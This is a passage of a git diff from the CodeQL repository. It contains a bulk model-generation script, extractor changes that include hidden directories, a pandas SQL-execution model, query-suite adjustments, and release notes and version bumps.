{git_tag}") + else: + print(f"Cloning {name} from {repo_url}") + + subprocess.check_call( + [ + "git", + "clone", + "--quiet", + "--depth", + "1", # Shallow clone + *( + ["--branch", git_tag] if git_tag else [] + ), # Add branch if tag is provided + repo_url, + target_dir, + ] + ) + print(f"Completed cloning {name}") + else: + print(f"Skipping cloning {name} as it already exists at {target_dir}") + + return target_dir + + +def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: + """ + Clone all projects in parallel. + + Args: + projects: List of projects to clone + + Returns: + List of (project, project_dir) pairs in the same order as the input projects + """ + start_time = time.time() + max_workers = min(8, len(projects)) # Use at most 8 threads + project_dirs_map = {} # Map to store results by project name + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + # Start cloning tasks and keep track of them + future_to_project = { + executor.submit(clone_project, project): project for project in projects + } + + # Process results as they complete + for future in as_completed(future_to_project): + project = future_to_project[future] + try: + project_dir = future.result() + project_dirs_map[project["name"]] = (project, project_dir) + except Exception as e: + print(f"ERROR: Failed to clone {project['name']}: {e}") + + if len(project_dirs_map) != len(projects): + failed_projects = [ + project["name"] + for project in projects + if project["name"] not in project_dirs_map + ] + print( + f"ERROR: Only {len(project_dirs_map)} out of {len(projects)} projects were cloned successfully. Failed projects: {', '.join(failed_projects)}" + ) + sys.exit(1) + + project_dirs = [project_dirs_map[project["name"]] for project in projects] + + clone_time = time.time() - start_time + print(f"Cloning completed in {clone_time:.2f} seconds") + return project_dirs + + +def build_database( + language: str, extractor_options, project: Project, project_dir: str +) -> str | None: + """ + Build a CodeQL database for a project. + + Args: + language: The language for which to build the database (e.g., "rust"). + extractor_options: Additional options for the extractor. + project: A dictionary containing project information with 'name' and 'git_repo' keys. + project_dir: Path to the CodeQL database. + + Returns: + The path to the created database directory. + """ + name = project["name"] + + # Create database directory path + database_dir = os.path.join(build_dir, f"{name}-db") + + # Only build the database if it doesn't already exist + if not os.path.exists(database_dir): + print(f"Building CodeQL database for {name}...") + extractor_options = [option for x in extractor_options for option in ("-O", x)] + try: + subprocess.check_call( + [ + "codeql", + "database", + "create", + f"--language={language}", + "--source-root=" + project_dir, + "--overwrite", + *extractor_options, + "--", + database_dir, + ] + ) + print(f"Successfully created database at {database_dir}") + except subprocess.CalledProcessError as e: + print(f"Failed to create database for {name}: {e}") + return None + else: + print( + f"Skipping database creation for {name} as it already exists at {database_dir}" + ) + + return database_dir + + +def generate_models(config, project: Project, database_dir: str) -> None: + """ + Generate models for a project. + + Args: + args: Command line arguments passed to this script. + name: The name of the project. + database_dir: Path to the CodeQL database. + """ + name = project["name"] + language = config["language"] + + generator = mad.Generator(language) + # Note: The argument parser converts with-sinks to with_sinks, etc. + generator.generateSinks = should_generate_sinks(project) + generator.generateSources = should_generate_sources(project) + generator.generateSummaries = should_generate_summaries(project) + generator.setenvironment(database=database_dir, folder=name) + generator.run() + + +def build_databases_from_projects( + language: str, extractor_options, projects: List[Project] +) -> List[tuple[Project, str | None]]: + """ + Build databases for all projects in parallel. + + Args: + language: The language for which to build the databases (e.g., "rust"). + extractor_options: Additional options for the extractor. + projects: List of projects to build databases for. + + Returns: + List of (project_name, database_dir) pairs, where database_dir is None if the build failed. + """ + # Clone projects in parallel + print("=== Cloning projects ===") + project_dirs = clone_projects(projects) + + # Build databases for all projects + print("\n=== Building databases ===") + database_results = [ + ( + project, + build_database(language, extractor_options, project, project_dir), + ) + for project, project_dir in project_dirs + ] + return database_results + + +def get_json_from_github( + url: str, pat: str, extra_headers: dict[str, str] = {} +) -> dict: + """ + Download a JSON file from GitHub using a personal access token (PAT). + Args: + url: The URL to download the JSON file from. + pat: Personal Access Token for GitHub API authentication. + extra_headers: Additional headers to include in the request. + Returns: + The JSON response as a dictionary. + """ + headers = {"Authorization": f"token {pat}"} | extra_headers + response = requests.get(url, headers=headers) + if response.status_code != 200: + print(f"Failed to download JSON: {response.status_code} {response.text}") + sys.exit(1) + else: + return response.json() + + +def download_artifact(url: str, artifact_name: str, pat: str) -> str: + """ + Download a GitHub Actions artifact from a given URL. + Args: + url: The URL to download the artifact from. + artifact_name: The name of the artifact (used for naming the downloaded file). + pat: Personal Access Token for GitHub API authentication. + Returns: + The path to the downloaded artifact file. + """ + headers = {"Authorization": f"token {pat}", "Accept": "application/vnd.github+json"} + response = requests.get(url, stream=True, headers=headers) + zipName = artifact_name + ".zip" + if response.status_code != 200: + print(f"Failed to download file. Status code: {response.status_code}") + sys.exit(1) + target_zip = os.path.join(build_dir, zipName) + with open(target_zip, "wb") as file: + for chunk in response.iter_content(chunk_size=8192): + file.write(chunk) + print(f"Download complete: {target_zip}") + return target_zip + + +def remove_extension(filename: str) -> str: + while "." in filename: + filename, _ = os.path.splitext(filename) + return filename + + +def pretty_name_from_artifact_name(artifact_name: str) -> str: + return artifact_name.split("___")[1] + + +def download_dca_databases( + experiment_name: str, pat: str, projects: List[Project] +) -> List[tuple[Project, str | None]]: + """ + Download databases from a DCA experiment. + Args: + experiment_name: The name of the DCA experiment to download databases from. + pat: Personal Access Token for GitHub API authentication. + projects: List of projects to download databases for. + Returns: + List of (project_name, database_dir) pairs, where database_dir is None if the download failed. + """ + database_results = {} + print("\n=== Finding projects ===") + response = get_json_from_github( + f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", + pat, + ) + targets = response["targets"] + project_map = {project["name"]: project for project in projects} + for data in targets.values(): + downloads = data["downloads"] + analyzed_database = downloads["analyzed_database"] + artifact_name = analyzed_database["artifact_name"] + pretty_name = pretty_name_from_artifact_name(artifact_name) + + if not pretty_name in project_map: + print(f"Skipping {pretty_name} as it is not in the list of projects") + continue + + repository = analyzed_database["repository"] + run_id = analyzed_database["run_id"] + print(f"=== Finding artifact: {artifact_name} ===") + response = get_json_from_github( + f"https://api.github.com/repos/{repository}/actions/runs/{run_id}/artifacts", + pat, + {"Accept": "application/vnd.github+json"}, + ) + artifacts = response["artifacts"] + artifact_map = {artifact["name"]: artifact for artifact in artifacts} + print(f"=== Downloading artifact: {artifact_name} ===") + archive_download_url = artifact_map[artifact_name]["archive_download_url"] + artifact_zip_location = download_artifact( + archive_download_url, artifact_name, pat + ) + print(f"=== Extracting artifact: {artifact_name} ===") + # The database is in a zip file, which contains a tar.gz file with the DB + # First we open the zip file + with zipfile.ZipFile(artifact_zip_location, "r") as zip_ref: + artifact_unzipped_location = os.path.join(build_dir, artifact_name) + # And then we extract it to build_dir/artifact_name + zip_ref.extractall(artifact_unzipped_location) + # And then we iterate over the contents of the extracted directory + # and extract the tar.gz files inside it + for entry in os.listdir(artifact_unzipped_location): + artifact_tar_location = os.path.join(artifact_unzipped_location, entry) + with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: + # And we just untar it to the same directory as the zip file + tar_ref.extractall(artifact_unzipped_location) + database_results[pretty_name] = os.path.join( + artifact_unzipped_location, remove_extension(entry) + ) + + print(f"\n=== Extracted {len(database_results)} databases ===") + + return [(project, database_results[project["name"]]) for project in projects] + + +def get_mad_destination_for_project(config, name: str) -> str: + return os.path.join(config["destination"], name) + + +def get_strategy(config) -> str: + return config["strategy"].lower() + + +def main(config, args) -> None: + """ + Main function to handle the bulk generation of MaD models. + Args: + config: Configuration dictionary containing project details and other settings. + args: Command line arguments passed to this script. + """ + + projects = config["targets"] + if not "language" in config: + print("ERROR: 'language' key is missing in the configuration file.") + sys.exit(1) + language = config["language"] + + # Create build directory if it doesn't exist + if not os.path.exists(build_dir): + os.makedirs(build_dir) + + # Check if any of the MaD directories contain working directory changes in git + for project in projects: + mad_dir = get_mad_destination_for_project(config, project["name"]) + if os.path.exists(mad_dir): + git_status_output = subprocess.check_output( + ["git", "status", "-s", mad_dir], text=True + ).strip() + if git_status_output: + print( + f"""ERROR: Working directory changes detected in {mad_dir}. + +Before generating new models, the existing models are deleted. + +To avoid loss of data, please commit your changes.""" + ) + sys.exit(1) + + database_results = [] + match get_strategy(config): + case "repo": + extractor_options = config.get("extractor_options", []) + database_results = build_databases_from_projects( + language, extractor_options, projects + ) + case "dca": + experiment_name = args.dca + if experiment_name is None: + print("ERROR: --dca argument is required for DCA strategy") + sys.exit(1) + + if args.pat is None: + print("ERROR: --pat argument is required for DCA strategy") + sys.exit(1) + if not os.path.exists(args.pat): + print(f"ERROR: Personal Access Token file '{pat}' does not exist.") + sys.exit(1) + with open(args.pat, "r") as f: + pat = f.read().strip() + database_results = download_dca_databases( + experiment_name, pat, projects + ) + + # Generate models for all projects + print("\n=== Generating models ===") + + failed_builds = [ + project["name"] for project, db_dir in database_results if db_dir is None + ] + if failed_builds: + print( + f"ERROR: {len(failed_builds)} database builds failed: {', '.join(failed_builds)}" + ) + sys.exit(1) + + # Delete the MaD directory for each project + for project, database_dir in database_results: + mad_dir = get_mad_destination_for_project(config, project["name"]) + if os.path.exists(mad_dir): + print(f"Deleting existing MaD directory at {mad_dir}") + subprocess.check_call(["rm", "-rf", mad_dir]) + + for project, database_dir in database_results: + if database_dir is not None: + generate_models(config, project, database_dir) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--config", type=str, help="Path to the configuration file.", required=True + ) + parser.add_argument( + "--dca", + type=str, + help="Name of a DCA run that built all the projects", + required=False, + ) + parser.add_argument( + "--pat", + type=str, + help="Path to a file containing the PAT token required to grab DCA databases (the same as the one you use for DCA)", + required=False, + ) + args = parser.parse_args() + + # Load config file + config = {} + if not os.path.exists(args.config): + print(f"ERROR: Config file '{args.config}' does not exist.") + sys.exit(1) + try: + with open(args.config, "r") as f: + config = json.load(f) + except json.JSONDecodeError as e: + print(f"ERROR: Failed to parse JSON file {args.config}: {e}") + sys.exit(1) + + main(config, args) diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index d65ced8b4c71..534af5668523 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.24.md b/misc/suite-helpers/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.25.md b/misc/suite-helpers/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 93018dd3c94f..3ee266732fb6 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.23 +version: 1.0.25 groups: shared warnOnImplicitThis: true diff --git a/python/extractor/cli-integration-test/hidden-files/config.yml b/python/extractor/cli-integration-test/hidden-files/config.yml new file mode 100644 index 000000000000..69d94597d950 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/config.yml @@ -0,0 +1,3 @@ +name: Test Config +paths-ignore: + - "**/.*/**" diff --git a/python/extractor/cli-integration-test/hidden-files/query-default.expected b/python/extractor/cli-integration-test/hidden-files/query-default.expected new file mode 100644 index 000000000000..72d34a1ab0b0 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query-default.expected @@ -0,0 +1,6 @@ +| name | ++-------------------------------+ +| .hidden_file.py | +| another_non_hidden.py | +| foo.py | +| visible_file_in_hidden_dir.py | diff --git a/python/extractor/cli-integration-test/hidden-files/query-skipped.expected b/python/extractor/cli-integration-test/hidden-files/query-skipped.expected new file mode 100644 index 000000000000..688dbe00d570 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query-skipped.expected @@ -0,0 +1,4 @@ +| name | ++-----------------+ +| .hidden_file.py | +| foo.py | diff --git a/python/extractor/cli-integration-test/hidden-files/query.ql b/python/extractor/cli-integration-test/hidden-files/query.ql new file mode 100644 index 000000000000..3b1b3c03849b --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/query.ql @@ -0,0 +1,3 @@ +import python + +select any(File f).getShortName() as name order by name diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/internal_non_hidden/another_non_hidden.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/internal_non_hidden/another_non_hidden.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/visible_file_in_hidden_dir.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_dir/visible_file_in_hidden_dir.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_file.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/.hidden_file.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py b/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py new file mode 100644 index 000000000000..517b47df53c2 --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/repo_dir/foo.py @@ -0,0 +1 @@ +print(42) diff --git a/python/extractor/cli-integration-test/hidden-files/test.sh b/python/extractor/cli-integration-test/hidden-files/test.sh new file mode 100755 index 000000000000..45485985adbb --- /dev/null +++ b/python/extractor/cli-integration-test/hidden-files/test.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +set -Eeuo pipefail # see https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_pipefail/ + +set -x + +CODEQL=${CODEQL:-codeql} + +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +cd "$SCRIPTDIR" + +rm -rf db db-skipped + +# Test 1: Default behavior should be to extract files in hidden directories +$CODEQL database create db --language python --source-root repo_dir/ +$CODEQL query run --database db query.ql > query-default.actual +diff query-default.expected query-default.actual + +# Test 2: The default behavior can be overridden by setting `paths-ignore` in the config file +$CODEQL database create db-skipped --language python --source-root repo_dir/ --codescanning-config=config.yml +$CODEQL query run --database db-skipped query.ql > query-skipped.actual +diff query-skipped.expected query-skipped.actual + +rm -rf db db-skipped diff --git a/python/extractor/semmle/path_filters.py b/python/extractor/semmle/path_filters.py index cb1a4d9b8bca..908ec4c0ee0a 100644 --- a/python/extractor/semmle/path_filters.py +++ b/python/extractor/semmle/path_filters.py @@ -41,6 +41,9 @@ def glob_part_to_regex(glob, add_sep): def glob_to_regex(glob, prefix=""): '''Convert entire glob to a compiled regex''' + # When the glob ends in `/`, we need to remember this so that we don't accidentally add an + # extra separator to the final regex. + end_sep = "" if glob.endswith("/") else SEP glob = glob.strip().strip("/") parts = glob.split("/") #Trailing '**' is redundant, so strip it off. @@ -48,12 +51,17 @@ def glob_to_regex(glob, prefix=""): parts = parts[:-1] if not parts: return ".*" + # The `glob.strip("/")` call above will have removed all trailing slashes, but if there was at + # least one trailing slash, we want there to be an extra part, so we add it explicitly here in + # that case, using the emptyness of `end_sep` as a proxy. + if end_sep == "": + parts += [""] parts = [ glob_part_to_regex(escape(p), True) for p in parts[:-1] ] + [ glob_part_to_regex(escape(parts[-1]), False) ] # we need to escape the prefix, specifically because on windows the prefix will be # something like `C:\\folder\\subfolder\\` and without escaping the # backslash-path-separators will get interpreted as regex escapes (which might be # invalid sequences, causing the extractor to crash) - full_pattern = escape(prefix) + ''.join(parts) + "(?:" + SEP + ".*|$)" + full_pattern = escape(prefix) + ''.join(parts) + "(?:" + end_sep + ".*|$)" return re.compile(full_pattern) def filter_from_pattern(pattern, prev_filter, prefix): diff --git a/python/extractor/semmle/traverser.py b/python/extractor/semmle/traverser.py index ad8bd38ae735..4e316a075f75 100644 --- a/python/extractor/semmle/traverser.py +++ b/python/extractor/semmle/traverser.py @@ -83,46 +83,21 @@ def _treewalk(self, path): self.logger.debug("Ignoring %s (symlink)", fullpath) continue if isdir(fullpath): - if fullpath in self.exclude_paths or is_hidden(fullpath): - if is_hidden(fullpath): - self.logger.debug("Ignoring %s (hidden)", fullpath) - else: - self.logger.debug("Ignoring %s (excluded)", fullpath) - else: - empty = True - for item in self._treewalk(fullpath): - yield item - empty = False - if not empty: - yield fullpath + if fullpath in self.exclude_paths: + self.logger.debug("Ignoring %s (excluded)", fullpath) + continue + + empty = True + for item in self._treewalk(fullpath): + yield item + empty = False + if not empty: + yield fullpath elif self.filter(fullpath): yield fullpath else: self.logger.debug("Ignoring %s (filter)", fullpath) - -if os.name== 'nt': - import ctypes - - def is_hidden(path): - #Magical windows code - try: - attrs = ctypes.windll.kernel32.GetFileAttributesW(str(path)) - if attrs == -1: - return False - if attrs&2: - return True - except Exception: - #Not sure what to log here, probably best to carry on. - pass - return os.path.basename(path).startswith(".") - -else: - - def is_hidden(path): - return os.path.basename(path).startswith(".") - - def exclude_filter_from_options(options): if options.exclude_package: choices = '|'.join(mod.replace('.', r'\.') for mod in options.exclude_package) diff --git a/python/extractor/semmle/util.py b/python/extractor/semmle/util.py index e0720a86312b..56f7889ae231 100644 --- a/python/extractor/semmle/util.py +++ b/python/extractor/semmle/util.py @@ -10,7 +10,7 @@ #Semantic version of extractor. #Update this if any changes are made -VERSION = "7.1.2" +VERSION = "7.1.3" PY_EXTENSIONS = ".py", ".pyw" diff --git a/python/ql/integration-tests/query-suite/not_included_in_qls.expected b/python/ql/integration-tests/query-suite/not_included_in_qls.expected index 9921f13aa558..05108abc2060 100644 --- a/python/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/python/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -58,6 +58,7 @@ ql/python/ql/src/Metrics/NumberOfStatements.ql ql/python/ql/src/Metrics/TransitiveImports.ql ql/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql ql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql +ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Statements/AssertLiteralConstant.ql ql/python/ql/src/Statements/C_StyleParentheses.ql ql/python/ql/src/Statements/DocStrings.ql diff --git a/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected b/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected index 4560c92f36d6..e391dea95cd7 100644 --- a/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected +++ b/python/ql/integration-tests/query-suite/python-security-and-quality.qls.expected @@ -133,7 +133,6 @@ ql/python/ql/src/Security/CWE-730/ReDoS.ql ql/python/ql/src/Security/CWE-730/RegexInjection.ql ql/python/ql/src/Security/CWE-732/WeakFilePermissions.ql ql/python/ql/src/Security/CWE-776/XmlBomb.ql -ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Security/CWE-918/FullServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-918/PartialServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-943/NoSqlInjection.ql diff --git a/python/ql/integration-tests/query-suite/python-security-extended.qls.expected b/python/ql/integration-tests/query-suite/python-security-extended.qls.expected index 398da79f01e4..1b255c6a0d05 100644 --- a/python/ql/integration-tests/query-suite/python-security-extended.qls.expected +++ b/python/ql/integration-tests/query-suite/python-security-extended.qls.expected @@ -43,7 +43,6 @@ ql/python/ql/src/Security/CWE-730/ReDoS.ql ql/python/ql/src/Security/CWE-730/RegexInjection.ql ql/python/ql/src/Security/CWE-732/WeakFilePermissions.ql ql/python/ql/src/Security/CWE-776/XmlBomb.ql -ql/python/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/python/ql/src/Security/CWE-918/FullServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-918/PartialServerSideRequestForgery.ql ql/python/ql/src/Security/CWE-943/NoSqlInjection.ql diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 33813cf94e46..09dc9d983a81 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 4.0.9 + +No user-facing changes. + +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. + ## 4.0.7 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/released/4.0.8.md b/python/ql/lib/change-notes/released/4.0.8.md new file mode 100644 index 000000000000..a87623b25b52 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.8.md @@ -0,0 +1,5 @@ +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. diff --git a/python/ql/lib/change-notes/released/4.0.9.md b/python/ql/lib/change-notes/released/4.0.9.md new file mode 100644 index 000000000000..4effa5d04804 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.9.md @@ -0,0 +1,3 @@ +## 4.0.9 + +No user-facing changes. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index bf65f0dc10b1..25b75788f994 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.7 +lastReleaseVersion: 4.0.9 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index 85ce51edc48e..4b1d284def3b 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.7 +version: 4.0.9 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/lib/semmle/python/frameworks/Pandas.qll b/python/ql/lib/semmle/python/frameworks/Pandas.qll index eb6c3c44409c..d4c94f3e8386 100644 --- a/python/ql/lib/semmle/python/frameworks/Pandas.qll +++ b/python/ql/lib/semmle/python/frameworks/Pandas.qll @@ -151,4 +151,17 @@ private module Pandas { override DataFlow::Node getCode() { result = this.getParameter(0, "expr").asSink() } } + + /** + * A Call to `pandas.read_sql` or `pandas.read_sql_query` + * which allows for executing raw SQL queries against a database. + * See https://pandas.pydata.org/docs/reference/api/pandas.read_sql.html + */ + class ReadSqlCall extends SqlExecution::Range, DataFlow::CallCfgNode { + ReadSqlCall() { + this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() + } + + override DataFlow::Node getSql() { result in [this.getArg(0), this.getArgByName("sql")] } + } } diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index c449304f0da1..292fda17c908 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,15 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. + +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/python/ql/src/Security/CWE-798/HardcodedCredentials.ql b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql index c8aecd7204ba..d08223a553bd 100644 --- a/python/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id py/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/python/ql/src/change-notes/released/1.5.1.md b/python/ql/src/change-notes/released/1.5.1.md new file mode 100644 index 000000000000..3b04255f33ab --- /dev/null +++ b/python/ql/src/change-notes/released/1.5.1.md @@ -0,0 +1,5 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/python/ql/src/change-notes/released/1.5.2.md b/python/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 000000000000..813448ef447a --- /dev/null +++ b/python/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,5 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index 639f80c43417..7eb901bae56a 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.2 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 24b80a87e2ed..54dfe59df779 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.0 +version: 1.5.2 groups: - python - queries diff --git a/python/ql/test/2/extractor-tests/hidden/test.expected b/python/ql/test/2/extractor-tests/hidden/test.expected index ca72363d8f02..21bd0dfb2dd9 100644 --- a/python/ql/test/2/extractor-tests/hidden/test.expected +++ b/python/ql/test/2/extractor-tests/hidden/test.expected @@ -1,3 +1,5 @@ +| .hidden/inner/test.py | +| .hidden/module.py | | folder/module.py | | package | | package/__init__.py | diff --git a/python/ql/test/extractor-tests/filter-option/Test.expected b/python/ql/test/extractor-tests/filter-option/Test.expected index 7ade39a5998c..56b1e36c2a93 100644 --- a/python/ql/test/extractor-tests/filter-option/Test.expected +++ b/python/ql/test/extractor-tests/filter-option/Test.expected @@ -3,3 +3,4 @@ | Module foo.bar | | Module foo.include_test | | Package foo | +| Script hidden_foo.py | diff --git a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py index a524fa214459..e9a368f8c1ba 100644 --- a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py +++ b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py @@ -1,5 +1,5 @@ import pandas as pd - +import sqlite3 df = pd.DataFrame({'temp_c': [17.0, 25.0]}, index=['Portland', 'Berkeley']) df.sample().query("query") # $getCode="query" @@ -55,11 +55,12 @@ df.query("query") # $getCode="query" df.eval("query") # $getCode="query" -df = pd.read_sql_query("filepath", 'postgres:///db_name') +connection = sqlite3.connect("pets.db") +df = pd.read_sql_query("sql query", connection) # $getSql="sql query" df.query("query") # $getCode="query" df.eval("query") # $getCode="query" -df = pd.read_sql("filepath", 'postgres:///db_name') +df = pd.read_sql("sql query", connection) # $getSql="sql query" df.query("query") # $getCode="query" df.eval("query") # $getCode="query" diff --git a/ruby/Makefile b/ruby/Makefile index 23333b494f4e..ddaca6534fbd 100644 --- a/ruby/Makefile +++ b/ruby/Makefile @@ -65,4 +65,4 @@ extractor: $(FILES) $(BIN_FILES) cp ../target/release/codeql-extractor-ruby$(EXE) extractor-pack/tools/$(CODEQL_PLATFORM)/extractor$(EXE) test: extractor dbscheme - codeql test run --check-databases --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --search-path .. --consistency-queries ql/consistency-queries ql/test + codeql test run --check-databases --check-diff-informed --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --search-path .. --consistency-queries ql/consistency-queries ql/test diff --git a/ruby/codeql-extractor.yml b/ruby/codeql-extractor.yml index 9b949a1a4abb..abb50db2a295 100644 --- a/ruby/codeql-extractor.yml +++ b/ruby/codeql-extractor.yml @@ -27,7 +27,7 @@ options: title: Controls compression for the TRAP files written by the extractor. description: > This option is only intended for use in debugging the extractor. Accepted - values are 'gzip' (the default, to write gzip-compressed TRAP) and 'none' - (to write uncompressed TRAP). + values are 'gzip' (the default, to write gzip-compressed TRAP) 'zstd' (to + write Zstandard-compressed TRAP) and 'none' (to write uncompressed TRAP). type: string - pattern: "^(none|gzip)$" + pattern: "^(none|gzip|zstd)$" diff --git a/ruby/ql/integration-tests/compression/methods.expected b/ruby/ql/integration-tests/compression/methods.expected new file mode 100644 index 000000000000..2bdc091c80d9 --- /dev/null +++ b/ruby/ql/integration-tests/compression/methods.expected @@ -0,0 +1 @@ +| source.rb:1:1:3:3 | f | diff --git a/ruby/ql/integration-tests/compression/methods.ql b/ruby/ql/integration-tests/compression/methods.ql new file mode 100644 index 000000000000..208d26dee633 --- /dev/null +++ b/ruby/ql/integration-tests/compression/methods.ql @@ -0,0 +1,4 @@ +import codeql.ruby.AST + +from Method m +select m diff --git a/ruby/ql/integration-tests/compression/source.rb b/ruby/ql/integration-tests/compression/source.rb new file mode 100644 index 000000000000..360eabdab756 --- /dev/null +++ b/ruby/ql/integration-tests/compression/source.rb @@ -0,0 +1,3 @@ +def f + puts "hello" +end diff 